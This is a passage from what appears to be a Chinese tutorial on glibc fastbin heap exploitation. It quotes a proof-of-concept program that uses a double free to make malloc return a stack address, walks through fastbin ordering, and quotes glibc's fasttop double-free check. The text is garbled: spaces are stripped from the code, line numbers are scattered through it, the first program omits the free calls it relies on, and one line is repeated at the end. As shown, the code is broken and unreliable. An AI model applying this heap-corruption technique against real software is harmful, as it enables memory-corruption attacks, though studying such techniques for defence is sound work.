intmain() { printf("This file extends on fastbin_dup.c by tricking malloc into\n" "returning a pointer to a controlled location (in this case, the stack).\n");
unsignedlonglong stack_var;
printf("The address we want malloc() to return is %p.\n", 8+(char *)&stack_var);
printf("Allocating 3 buffers.\n"); int *a = malloc(8); int *b = malloc(8); int *c = malloc(8);
printf("Now, we can free %p again, since it's not the head of the free list.\n", a); free(a);
printf("Now the free list has [ %p, %p, %p ]. " "We'll now carry out our attack by modifying data at %p.\n", a, b, a, a); unsignedlonglong *d = malloc(8);
printf("1st malloc(8): %p\n", d); printf("2nd malloc(8): %p\n", malloc(8)); printf("Now the free list has [ %p ].\n", a); printf("Now, we have access to %p while it remains at the head of the free list.\n" "so now we are writing a fake free size (in this case, 0x20) to the stack,\n" "so that malloc will think there is a free chunk there and agree to\n" "return a pointer to it.\n", a); stack_var = 0x20;
printf("Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a); *d = (unsignedlonglong) (((char*)&stack_var) - sizeof(d));
printf("3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8)); printf("4th malloc(8): %p\n", malloc(8)); }
a = malloc(20); // 0xe4b070 b = malloc(20); // 0xe4b050 c = malloc(20); // 0xe4b030 d = malloc(20); // 0xe4b010
会发现,后free的内容接在了fastbin的尾部:
head -> d -> c -> b -> a -> tail
从而正在第二次分配的时候最先获得。并且从大小可以发现此时fastbin并没有发生回收。
fastbin_dup
本质原因还是double free,我们来看一下下列代码:
1 2 3 4 5 6 7 8 9 10 11
a = malloc(10); // 0xa04010 b = malloc(10); // 0xa04030 c = malloc(10); // 0xa04050
free(a); free(b); // To bypass "double free or corruption (fasttop)" check free(a); // Double Free !!
d = malloc(10); // 0xa04010 e = malloc(10); // 0xa04030 f = malloc(10); // 0xa04010 - Same as 'd' !
利用的关键在于fastbin的组织形式:
head -> a -> b -> a -> tail
看到这里可能很多人会问:我平时写程序的时候也常常malloc和free,但是似乎没有发生这个问题啊?其实是遇到过的,有时候发生【已有数据被冲刷】这样的事情我们其实真的会遇到,只是我们忘记了。官方其实有出防御方法,其实就是检查当前top of the bin是否就是我们释放的p
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
do { /* Check that the top of the bin is not the record we are going to add (i.e., double free). */ if (__builtin_expect (old == p, 0)) { errstr = "double free or corruption (fasttop)"; goto errout; } /* Check that size of fastbin chunk at the top is the same as size of the chunk that we are adding. We can dereference OLD only if we have the lock, otherwise it might have already been deallocated. See use of OLD_IDX below for the actual check. */ if (have_lock && old != NULL) old_idx = fastbin_index(chunksize(old)); p->fd = old2 = old; } while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2)) != old2);
printf("Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a); *d = (unsignedlonglong) (((char*)&stack_var) - sizeof(d));